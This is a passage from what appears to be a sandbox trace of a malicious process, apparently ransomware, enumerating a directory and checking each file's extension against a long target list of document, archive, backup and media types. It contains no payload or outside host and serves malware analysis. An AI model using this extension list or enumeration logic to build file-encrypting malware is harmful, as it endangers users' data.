nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0181.576] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7adca7e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0181.576] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xe4ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0181.576] lstrlenW (lpString="index.html") returned 10 [0181.576] lstrlenW (lpString=".1cd") returned 4 [0181.576] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0181.576] lstrlenW (lpString=".3ds") returned 4 [0181.576] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1 [0181.576] lstrlenW (lpString=".3fr") returned 4 [0181.576] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1 [0181.576] lstrlenW (lpString=".3g2") returned 4 [0181.576] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1 [0181.576] lstrlenW (lpString=".3gp") returned 4 [0181.576] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1 [0181.576] lstrlenW (lpString=".7z") returned 3 [0181.576] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0181.576] lstrlenW (lpString=".accda") returned 6 [0181.576] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1 [0181.576] lstrlenW (lpString=".accdb") returned 6 [0181.576] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1 [0181.577] lstrlenW (lpString=".accdc") returned 6 [0181.577] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1 [0181.577] lstrlenW (lpString=".accde") returned 6 [0181.577] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1 [0181.577] lstrlenW (lpString=".accdt") returned 6 [0181.577] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1 [0181.577] lstrlenW (lpString=".accdw") returned 6 [0181.577] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1 [0181.577] lstrlenW (lpString=".adb") returned 4 [0181.577] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1 [0181.577] lstrlenW (lpString=".adp") returned 4 [0181.577] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1 [0181.577] lstrlenW (lpString=".ai") returned 3 [0181.577] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1 [0181.577] lstrlenW (lpString=".ai3") returned 4 [0181.577] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1 [0181.577] lstrlenW (lpString=".ai4") returned 4 [0181.577] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1 [0181.577] lstrlenW (lpString=".ai5") returned 4 [0181.578] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1 [0181.578] lstrlenW (lpString=".ai6") returned 4 [0181.578] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1 [0181.578] lstrlenW (lpString=".ai7") returned 4 [0181.578] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1 [0181.578] lstrlenW (lpString=".ai8") returned 4 [0181.578] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1 [0181.578] lstrlenW (lpString=".anim") returned 5 [0181.578] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1 [0181.578] lstrlenW (lpString=".arw") returned 4 [0181.578] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1 [0181.578] lstrlenW (lpString=".as") returned 3 [0181.578] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1 [0181.578] lstrlenW (lpString=".asa") returned 4 [0181.578] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1 [0181.578] lstrlenW (lpString=".asc") returned 4 [0181.578] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1 [0181.578] lstrlenW (lpString=".ascx") returned 5 [0181.578] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1 [0181.578] lstrlenW (lpString=".asm") returned 4 [0181.578] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1 [0181.578] lstrlenW (lpString=".asmx") returned 5 [0181.578] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1 [0181.578] lstrlenW (lpString=".asp") returned 4 [0181.578] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1 [0181.579] lstrlenW (lpString=".aspx") returned 5 [0181.579] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1 [0181.579] lstrlenW (lpString=".asr") returned 4 [0181.579] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1 [0181.579] lstrlenW (lpString=".asx") returned 4 [0181.579] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1 [0181.579] lstrlenW (lpString=".avi") returned 4 [0181.580] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1 [0181.580] lstrlenW (lpString=".avs") returned 4 [0181.580] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1 [0181.580] lstrlenW (lpString=".backup") returned 7 [0181.580] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1 [0181.580] lstrlenW (lpString=".bak") returned 4 [0181.580] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1 [0181.580] lstrlenW (lpString=".bay") returned 4 [0181.580] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1 [0181.580] lstrlenW (lpString=".bd") returned 3 [0181.580] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1 [0181.580] lstrlenW (lpString=".bin") returned 4 [0181.580] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1 [0181.580] lstrlenW (lpString=".bmp") returned 4 [0181.580] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1 [0181.580] lstrlenW (lpString=".bz2") returned 4 [0181.580] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0181.580] lstrlenW (lpString=".c") returned 2 [0181.580] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0181.581] lstrlenW (lpString=".cdr") returned 4 [0181.581] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1 [0181.581] lstrlenW (lpString=".cer") returned 4 [0181.581] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1 [0181.581] lstrlenW (lpString=".cf") returned 3 [0181.581] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1 [0181.581] lstrlenW (lpString=".cfc") returned 4 [0181.581] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1 [0181.581] lstrlenW (lpString=".cfm") returned 4 [0181.581] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1 [0181.581] lstrlenW (lpString=".cfml") returned 5 [0181.581] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1 [0181.581] lstrlenW (lpString=".cfu") returned 4 [0181.581] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1 [0181.581] lstrlenW (lpString=".chm") returned 4 [0181.581] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1 [0181.581] lstrlenW (lpString=".cin") returned 4 [0181.581] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1 [0181.581] lstrlenW (lpString=".class") returned 6 [0181.581] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1 [0181.581] lstrlenW (lpString=".clx") returned 4 [0181.581] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1 [0181.581] lstrlenW (lpString=".config") returned 7 [0181.581] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1 [0181.581] lstrlenW (lpString=".cpp") returned 4 [0181.581] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1 [0181.582] lstrlenW (lpString=".cr2") returned 4 [0181.674] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1 [0181.674] lstrlenW (lpString=".crt") returned 4 [0181.674] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1 [0181.674] lstrlenW (lpString=".crw") returned 4 [0181.674] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1 [0181.674] lstrlenW (lpString=".cs") returned 3 [0181.674] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1 [0181.674] lstrlenW (lpString=".css") returned 4 [0181.674] lstrcmpiW (lpString1=".css", lpString2="html") returned -1 [0181.674] lstrlenW (lpString=".csv") returned 4 [0181.674] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1 [0181.674] lstrlenW (lpString=".cub") returned 4 [0181.674] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1 [0181.675] lstrlenW (lpString=".dae") returned 4 [0181.675] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1 [0181.675] lstrlenW (lpString=".dat") returned 4 [0181.675] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1 [0181.675] lstrlenW (lpString=".db") returned 3 [0181.675] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1 [0181.675] lstrlenW (lpString=".dbf") returned 4 [0181.675] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0181.675] lstrlenW (lpString=".dbx") returned 4 [0181.675] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1 [0181.675] lstrlenW (lpString=".dc3") returned 4 [0181.675] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1 [0181.675] lstrlenW (lpString=".dcm") returned 4 [0181.675] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1 [0181.675] lstrlenW (lpString=".dcr") returned 4 [0181.675] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1 [0181.675] lstrlenW (lpString=".der") returned 4 [0181.675] lstrcmpiW (lpString1=".der", lpString2="html") returned -1 [0181.675] lstrlenW (lpString=".dib") returned 4 [0181.675] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1 [0181.675] lstrlenW (lpString=".dic") returned 4 [0181.675] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1 [0181.675] lstrlenW (lpString=".dif") returned 4 [0181.675] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1 [0181.675] lstrlenW (lpString=".divx") returned 5 [0181.676] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1 [0181.676] lstrlenW (lpString=".djvu") returned 5 [0181.676] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1 [0181.676] lstrlenW (lpString=".dng") returned 4 [0181.676] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1 [0181.676] lstrlenW (lpString=".doc") returned 4 [0181.676] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0181.676] lstrlenW (lpString=".docm") returned 5 [0181.676] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1 [0181.676] lstrlenW (lpString=".docx") returned 5 [0181.676] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0181.676] lstrlenW (lpString=".dot") returned 4 [0181.676] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1 [0181.676] lstrlenW (lpString=".dotm") returned 5 [0181.676] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1 [0181.676] lstrlenW (lpString=".dotx") returned 5 [0181.676] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1 [0181.676] lstrlenW (lpString=".dpx") returned 4 [0181.676] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1 [0181.676] lstrlenW (lpString=".dqy") returned 4 [0181.676] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1 [0181.676] lstrlenW (lpString=".dsn") returned 4 [0181.676] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1 [0181.676] lstrlenW (lpString=".dt") returned 3 [0181.676] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1 [0181.676] lstrlenW (lpString=".dtd") returned 4 [0181.677] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1 [0181.677] lstrlenW (lpString=".dwg") returned 4 [0181.677] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1 [0181.677] lstrlenW (lpString=".dwt") returned 4 [0181.677] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1 [0181.677] lstrlenW (lpString=".dx") returned 3 [0181.677] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1 [0181.677] lstrlenW (lpString=".dxf") returned 4 [0181.677] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1 [0181.677] lstrlenW (lpString=".edml") returned 5 [0181.677] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1 [0181.677] lstrlenW (lpString=".efd") returned 4 [0181.677] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1 [0181.677] lstrlenW (lpString=".elf") returned 4 [0181.677] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1 [0181.677] lstrlenW (lpString=".emf") returned 4 [0181.677] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1 [0181.677] lstrlenW (lpString=".emz") returned 4 [0181.677] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1 [0181.677] lstrlenW (lpString=".epf") returned 4 [0181.677] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1 [0181.678] lstrlenW (lpString=".eps") returned 4 [0181.678] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1 [0181.678] lstrlenW (lpString=".epsf") returned 5 [0181.678] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1 [0181.678] lstrlenW (lpString=".epsp") returned 5 [0181.678] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1 [0181.678] lstrlenW (lpString=".erf") returned 4 [0181.678] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1 [0181.678] lstrlenW (lpString=".exr") returned 4 [0181.678] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1 [0181.678] lstrlenW (lpString=".f4v") returned 4 [0181.678] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1 [0181.678] lstrlenW (lpString=".fido") returned 5 [0181.678] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1 [0181.678] lstrlenW (lpString=".flm") returned 4 [0181.678] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1 [0181.678] lstrlenW (lpString=".flv") returned 4 [0181.678] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1 [0181.678] lstrlenW (lpString=".frm") returned 4 [0181.678] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1 [0181.678] lstrlenW (lpString=".fxg") returned 4 [0181.678] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1 [0181.678] lstrlenW (lpString=".geo") returned 4 [0181.678] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1 [0181.678] lstrlenW (lpString=".gif") returned 4 [0181.679] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1 [0181.679] lstrlenW (lpString=".grs") returned 4 [0181.679] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1 [0181.679] lstrlenW (lpString=".gz") returned 3 [0181.679] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1 [0181.679] lstrlenW (lpString=".h") returned 2 [0181.679] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0181.679] lstrlenW (lpString=".hdr") returned 4 [0181.679] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1 [0181.679] lstrlenW (lpString=".hpp") returned 4 [0181.679] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1 [0181.679] lstrlenW (lpString=".hta") returned 4 [0181.679] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1 [0181.679] lstrlenW (lpString=".htc") returned 4 [0181.679] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1 [0181.679] lstrlenW (lpString=".htm") returned 4 [0181.679] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1 [0181.679] lstrlenW (lpString=".html") returned 5 [0181.679] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0 [0181.679] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x2be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0181.679] lstrlenW (lpString="toastbeginupgrade.xml") returned 21 [0181.680] lstrlenW (lpString=".1cd") returned 4 [0181.680] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0181.680] lstrlenW (lpString=".3ds") returned 4 [0181.680] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0181.680] lstrlenW (lpString=".3fr") returned 4 [0181.680] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0181.680] lstrlenW (lpString=".3g2") returned 4 [0181.680] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0181.680] lstrlenW (lpString=".3gp") returned 4 [0181.680] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0181.680] lstrlenW (lpString=".7z") returned 3 [0181.680] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0181.680] lstrlenW (lpString=".accda") returned 6 [0181.680] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1 [0181.680] lstrlenW (lpString=".accdb") returned 6 [0181.680] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1 [0181.680] lstrlenW (lpString=".accdc") returned 6 [0181.680] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1 [0181.680] lstrlenW (lpString=".accde") returned 6 [0181.680] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1 [0181.680] lstrlenW (lpString=".accdt") returned 6 [0181.680] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1 [0181.680] lstrlenW (lpString=".accdw") returned 6 [0181.680] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1 [0181.680] lstrlenW (lpString=".adb") returned 4 [0181.681] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0181.681] lstrlenW (lpString=".adp") returned 4 [0181.681] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0181.681] lstrlenW (lpString=".ai") returned 3 [0181.681] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0181.681] lstrlenW (lpString=".ai3") returned 4 [0181.681] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0181.681] lstrlenW (lpString=".ai4") returned 4 [0181.681] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0181.681] lstrlenW (lpString=".ai5") returned 4 [0181.681] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0181.681] lstrlenW (lpString=".ai6") returned 4 [0181.681] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0181.681] lstrlenW (lpString=".ai7") returned 4 [0181.681] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0181.681] lstrlenW (lpString=".ai8") returned 4 [0181.681] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0181.681] lstrlenW (lpString=".anim") returned 5 [0181.681] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1 [0181.682] lstrlenW (lpString=".arw") returned 4 [0181.682] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0181.682] lstrlenW (lpString=".as") returned 3 [0181.682] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0181.682] lstrlenW (lpString=".asa") returned 4 [0181.682] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0181.682] lstrlenW (lpString=".asc") returned 4 [0181.682] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0181.682] lstrlenW (lpString=".ascx") returned 5 [0181.682] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1 [0181.682] lstrlenW (lpString=".asm") returned 4 [0181.683] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0181.683] lstrlenW (lpString=".asmx") returned 5 [0181.683] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1 [0181.683] lstrlenW (lpString=".asp") returned 4 [0181.683] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0181.683] lstrlenW (lpString=".aspx") returned 5 [0181.683] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1 [0181.683] lstrlenW (lpString=".asr") returned 4 [0181.683] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0181.683] lstrlenW (lpString=".asx") returned 4 [0181.683] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0181.683] lstrlenW (lpString=".avi") returned 4 [0181.683] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0181.683] lstrlenW (lpString=".avs") returned 4 [0181.683] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0181.683] lstrlenW (lpString=".backup") returned 7 [0181.683] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1 [0181.683] lstrlenW (lpString=".bak") returned 4 [0181.683] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0181.683] lstrlenW (lpString=".bay") returned 4 [0181.683] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0181.683] lstrlenW (lpString=".bd") returned 3 [0181.683] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0181.683] lstrlenW (lpString=".bin") returned 4 [0181.683] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0181.683] lstrlenW (lpString=".bmp") returned 4 [0181.684] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0181.684] lstrlenW (lpString=".bz2") returned 4 [0181.684] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0181.684] lstrlenW (lpString=".c") returned 2 [0181.684] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0181.684] lstrlenW (lpString=".cdr") returned 4 [0181.684] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0181.684] lstrlenW (lpString=".cer") returned 4 [0181.684] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0181.684] lstrlenW (lpString=".cf") returned 3 [0181.684] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0181.684] lstrlenW (lpString=".cfc") returned 4 [0181.684] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0181.684] lstrlenW (lpString=".cfm") returned 4 [0181.684] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0181.684] lstrlenW (lpString=".cfml") returned 5 [0181.684] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1 [0181.684] lstrlenW (lpString=".cfu") returned 4 [0181.684] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0181.684] lstrlenW (lpString=".chm") returned 4 [0181.684] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0181.684] lstrlenW (lpString=".cin") returned 4 [0181.684] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0181.684] lstrlenW (lpString=".class") returned 6 [0181.685] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1 [0181.685] lstrlenW (lpString=".clx") returned 4 [0181.685] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0181.685] lstrlenW (lpString=".config") returned 7 [0181.685] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1 [0181.685] lstrlenW (lpString=".cpp") returned 4 [0181.685] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0181.685] lstrlenW (lpString=".cr2") returned 4 [0181.685] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0181.685] lstrlenW (lpString=".crt") returned 4 [0181.685] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0181.685] lstrlenW (lpString=".crw") returned 4 [0181.685] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0181.685] lstrlenW (lpString=".cs") returned 3 [0181.685] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0181.685] lstrlenW (lpString=".css") returned 4 [0181.685] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0181.685] lstrlenW (lpString=".csv") returned 4 [0181.685] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0181.685] lstrlenW (lpString=".cub") returned 4 [0181.685] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0181.685] lstrlenW (lpString=".dae") returned 4 [0181.685] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0181.685] lstrlenW (lpString=".dat") returned 4 [0181.685] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0181.685] lstrlenW (lpString=".db") returned 3 [0181.686] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0181.686] lstrlenW (lpString=".dbf") returned 4 [0181.686] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0181.686] lstrlenW (lpString=".dbx") returned 4 [0181.686] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0181.686] lstrlenW (lpString=".dc3") returned 4 [0181.686] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0181.686] lstrlenW (lpString=".dcm") returned 4 [0181.686] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0181.689] lstrlenW (lpString=".dcr") returned 4 [0181.689] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0181.689] lstrlenW (lpString=".der") returned 4 [0181.690] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0181.690] lstrlenW (lpString=".dib") returned 4 [0181.690] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0181.690] lstrlenW (lpString=".dic") returned 4 [0181.690] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0181.690] lstrlenW (lpString=".dif") returned 4 [0181.690] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0181.690] lstrlenW (lpString=".divx") returned 5 [0181.690] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1 [0181.690] lstrlenW (lpString=".djvu") returned 5 [0181.690] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1 [0181.690] lstrlenW (lpString=".dng") returned 4 [0181.690] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0181.690] lstrlenW (lpString=".doc") returned 4 [0181.690] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0181.690] lstrlenW (lpString=".docm") returned 5 [0181.690] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1 [0181.690] lstrlenW (lpString=".docx") returned 5 [0181.690] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0181.690] lstrlenW (lpString=".dot") returned 4 [0181.690] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0181.690] lstrlenW (lpString=".dotm") returned 5 [0181.690] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1 [0181.690] lstrlenW (lpString=".dotx") returned 5 [0181.690] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1 [0181.690] lstrlenW (lpString=".dpx") returned 4 [0181.691] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0181.691] lstrlenW (lpString=".dqy") returned 4 [0181.691] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0181.691] lstrlenW (lpString=".dsn") returned 4 [0181.691] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0181.691] lstrlenW (lpString=".dt") returned 3 [0181.691] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0181.691] lstrlenW (lpString=".dtd") returned 4 [0181.692] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0181.692] lstrlenW (lpString=".dwg") returned 4 [0181.692] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0181.692] lstrlenW (lpString=".dwt") returned 4 [0181.692] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0181.692] lstrlenW (lpString=".dx") returned 3 [0181.692] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0181.692] lstrlenW (lpString=".dxf") returned 4 [0181.692] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0181.692] lstrlenW (lpString=".edml") returned 5 [0181.692] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1 [0181.692] lstrlenW (lpString=".efd") returned 4 [0181.692] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0181.692] lstrlenW (lpString=".elf") returned 4 [0181.692] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0181.692] lstrlenW (lpString=".emf") returned 4 [0181.692] lstrcmpiW (lpString1=".emf", 